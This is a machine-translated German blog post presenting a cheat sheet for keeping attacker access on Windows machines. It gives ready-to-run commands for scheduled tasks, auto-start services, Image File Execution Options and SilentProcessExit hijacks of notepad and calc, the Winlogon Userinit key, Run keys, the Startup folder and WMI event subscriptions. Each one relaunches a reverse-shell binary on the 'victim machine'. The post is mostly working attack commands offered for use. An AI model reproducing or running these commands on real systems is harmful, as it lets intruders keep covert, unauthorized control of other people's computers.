CheatSheet zur Windows-Persistenz
Einführung
Willkommen zu diesem neuen Artikel, hier erhalten Sie ein CheatSheet, um Persistenz in Windows-Systemen zu erreichen, hier werden wir viele Möglichkeiten sehen, dies zu tun, und schließlich werde ich ein Tool erstellen, um all das zu automatisieren, was ich in C++ erstellt habe.
Was ist Beharrlichkeit?
Bei der Persistenz handelt es sich um Techniken, die Angreifer nutzen, um den Zugriff auf Systeme auch nach Neustarts, geänderten Anmeldeinformationen und anderen Unterbrechungen aufrechtzuerhalten, die ihnen den Zugriff verwehren könnten. Zu den für die Persistenz verwendeten Techniken gehören alle Zugriffs-, Aktions- oder Konfigurationsänderungen, die es ihnen ermöglichen, auf Systemen Fuß zu fassen, wie etwa das Ersetzen oder Kapern von legitimem Code oder das Hinzufügen von Startup-Code.
Dies wäre die korrekteste Definition, aber in meinen Worten ermöglicht Persistenz grundsätzlich, jederzeit weiterhin Zugriff zu haben oder auf der Opfermaschine weiterarbeiten zu können, selbst nach dem Herunterfahren des Computers würden wir unsere Shell ohne erneute Infektion wieder erhalten das Gerät des Opfers.
Index
- Geplante Aufgaben
- Dienstleistungen
- App schließen
- Öffne App
- WinLogon
- Führen Sie „Register“ aus
- Startordner
WMIC
Geplante Aufgaben:
Geplante Aufgaben sind eine der einfachsten Möglichkeiten, Persistenz zu erreichen. Das Problem besteht darin, dass sie für den Benutzer viel einfacher zu erkennen sind, ein einfacher Benutzer dies jedoch normalerweise nicht bemerkt.
Um dies zu erstellen, muss ich schtasks verwenden:
So erstellen Sie eine neue Aufgabe:
schtasks /CREATE /SC MINUTE /TN "Reverse Shell" /TR "C:\Users\s12de\Downloads\shell.exe"
Windows-Dienste sind die Kernkomponenten des Betriebssystems, die alles verwalten, von der Speicher- und Geräteverwaltung bis hin zur Verwaltung von Drittanbieteranwendungen und den Anmeldeinformationen und Einstellungen des Benutzers, ähnlich dem Unix-Daemon.
POC:
Zum Starten benötigen wir eine Powershell-Instanz:
Und jetzt erstelle ich einen neuen Dienst mit automatischem Start. Dieser Dienst führt die im BinaryPathName angegebene Binärdatei aus:
New-Service -Name "s12" -BinaryPathName "C:\Users\s12de\Downloads\shell.exe" -Description "PersistenceWindows" -StartupType Automatic
sc start s12
Der nächste Weg ist mein Favorit. Auf diese Weise können Sie Ihre Binärdatei ausführen, wenn der Benutzer einen definierten Prozess oder eine Binärdatei schließt. In diesem Fall erstelle ich eine Reverse-Shell, wenn der Benutzer den notepad.exe- Prozess beendet.
Dazu müssen wir 3 Befehle in cmd ausführen:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\s12de\Downloads\shell.exe"
Wenn ich Notepad automatisch schließe, erhalte ich die umgekehrte Shell
Öffne App:
Der nächste Weg ist mein zweiter Favorit. Auf diese Weise können Sie Ihre Binärdatei ausführen, wenn der Benutzer einen definierten Prozess oder eine Binärdatei öffnet. In diesem Fall erstelle ich eine Reverse-Shell, wenn der Benutzer den calc.exe- Prozess öffnet.
Dazu müssen wir 2 Befehle in cmd ausführen:
copy calc.exe _calc.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\s12de\Downloads\shell.exe /f
Wenn der Benutzer den Rechner öffnet, erhalte ich eine umgekehrte Shell-Verbindung.
WinLogon:
Winlogon ist eine Windows-Komponente, die verschiedene Aktivitäten wie Anmeldung, Abmeldung, Laden des Benutzerprofils während der Authentifizierung, Herunterfahren, Sperrbildschirm usw. abwickelt. Dieses Verhalten wird von der Registrierung verwaltet, die definiert, welche Prozesse während der Windows-Anmeldung gestartet werden sollen. Aus Sicht des Red Teams können diese Ereignisse der Auslöser sein, der eine beliebige Nutzlast zur Persistenz ausführt.
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\s12de\Downloads\shell.exe" /f
Der Registrierungsschlüssel wurde geändert!
Führen Sie „Register“ aus
Die Registrierung ist eine hierarchische Datenbank, die Daten enthält, die für den Betrieb von Windows und den unter Windows ausgeführten Anwendungen und Diensten von entscheidender Bedeutung sind. Die Daten sind in einem Baumformat strukturiert. Jeder Knoten im Baum wird als Schlüssel bezeichnet . Jeder Schlüssel kann sowohl Unterschlüssel als auch Dateneinträge, sogenannte Werte, enthalten.
POC:
In diesem Fall ist es an der Zeit, Run Register zu verwenden. Diese Register gehören zu den wichtigsten im Windows-System. In diesem Fall haben Sie jedoch den Vorteil, dass Sie keine Administratorrechte benötigen , um dies auszuführen:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v S12 /t REG_SZ /d "C:\Users\s12de\Downloads\shell.exe"
Startordner
Nach einem Neustart oder einer Benutzeranmeldung führt das Windows-Betriebssystem die ausführbaren Dateien aus, die normalerweise im Pfad zum Startordner vorhanden sind:
C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy "shell.exe" "C:\Users\s12de\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"
Mit Windows Management Instrumentation (WMI) können Systemadministratoren Aufgaben lokal und remote ausführen. Aus der Perspektive des Red Teaming kann WMI zur Durchführung verschiedener Aktivitäten wie laterale Bewegung, Persistenz, Situationsbewusstsein, Codeausführung und als Befehl und Kontrolle (C2) verwendet werden. Die Tatsache, dass WMI Teil von Windows ist und in fast allen Windows-Betriebssystemen (Windows 98 bis Windows 10) vorhanden ist, ermöglicht es, dass diese anstößigen Aktivitäten vom Radar des blauen Teams fernbleiben.
Die ausführbare Datei gibt innerhalb von 60 Sekunden nach jedem Neustart eine Reverse-Shell-Sitzung zurück.
In diesem Fall muss ich 3 Befehle ausführen:
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\windows\system32\tita.exe",CommandLineTemplate="C:\Users\s12de\Downloads\shell.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
Bis zum heutigen Artikel, diesem CheatSheet, glaube ich, dass es sehr gut funktioniert hat und sehr nützlich sein wird. Außerdem erstelle ich ein Tool mit C++, um das alles zu automatisieren. Achten Sie auf meinen Github.
Danke, dass du das gelesen hast :)
S12.

![Was ist überhaupt eine verknüpfte Liste? [Teil 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































